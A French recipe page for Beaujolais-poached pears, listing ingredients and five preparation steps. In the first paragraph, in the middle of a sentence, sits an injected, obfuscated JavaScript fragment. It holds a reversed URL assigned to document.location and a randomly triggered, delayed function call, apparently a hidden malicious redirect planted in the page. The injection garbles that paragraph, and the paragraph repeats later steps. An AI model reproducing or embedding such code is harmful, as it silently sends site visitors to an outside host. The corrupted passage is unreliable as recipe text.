Poires pochées au Beaujolais nouveau
2016-12-29- Niveau : Difficile
Versez le beaujolais dans une casserole. Portez à ébullition avec le sucre tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Ajoutez les poires une à une sans casser la queue pendant 20 minutes à feu doux.
Vérifiez la cuisson avec la pointe d’un couteau. Retirez les poires sans les abîmer. Réservez.
Ingrédients
- Pour 6 personnes
- 6 poires assez fermes (passe-crassane ou alexandrine )
- 2 litres de beaujolais
- 50 g de sucre semoule
Préparation de la recette
Etape 1
Pelez les poires avec un couteau économe.
Etape 2
Préparez le sirop : Versez le beaujolais dans une casserole. Portez à ébullition avec le sucre tout en remuant. Ajoutez les poires une à une sans casser la queue pendant 20 minutes à feu doux.
Etape 3
Vérifiez la cuisson avec la pointe d’un couteau. Retirez les poires sans les abîmer. Réservez.
Etape 4
Faites réduire le sirop de cuisson à feu doux. Quand il est réduit de moitié, le sirop épaissie. Hors du feu faites infuser les poires toute la nuit dans ce sirop.
Etape 5
Le lendemain, dégustez les poires au vin, avec une boule de glace à la vanille et des tuiles ou des gavottes. Ce dessert se garde au frais deux à quatre jours. Le conseil: Un dessert pour tous, car l’alcool disparaît à la cuisson. Le truc: Epicez le sirop en y ajoutant de l’anis étoilé où un bâton de cannelle.
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